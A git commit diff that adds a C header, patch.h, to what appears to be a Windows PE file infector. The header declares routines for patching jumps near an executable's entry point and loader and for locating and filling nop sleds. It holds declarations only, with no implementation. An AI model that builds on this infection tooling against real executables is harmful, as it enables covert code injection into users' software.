From 31c69b6ca1b91e7fd9fd8e14082fd2584c5f538c Mon Sep 17 00:00:00 2001 From: Toni Uhlig Date: Sun, 24 May 2020 16:48:22 +0200 Subject: first public release Signed-off-by: Toni Uhlig --- include/patch.h | 21 +++++++++++++++++++++ 1 file changed, 21 insertions(+) create mode 100644 include/patch.h (limited to 'include/patch.h') diff --git a/include/patch.h b/include/patch.h new file mode 100644 index 0000000..d773620 --- /dev/null +++ b/include/patch.h @@ -0,0 +1,21 @@ +#ifndef PATCH_H_INCLUDED +#define PATCH_H_INCLUDED + +#include + +#include "pe_infect.h" + +#define SIZEOF_X86_JMP32 5 + + +void patchRelJMP(BYTE* buf, DWORD destVA); + +BOOL bPatchLoader(const struct ParsedPE* ppe); + +BOOL bPatchNearEntry(const struct ParsedPE* ppe); + +int offFindNopsled(const BYTE* buf, SIZE_T szBuf, SIZE_T szNopsled); + +void offFillNops(BYTE* buf, SIZE_T szFill); + +#endif /* PATCH_H_INCLUDED */ -- cgit v1.2.3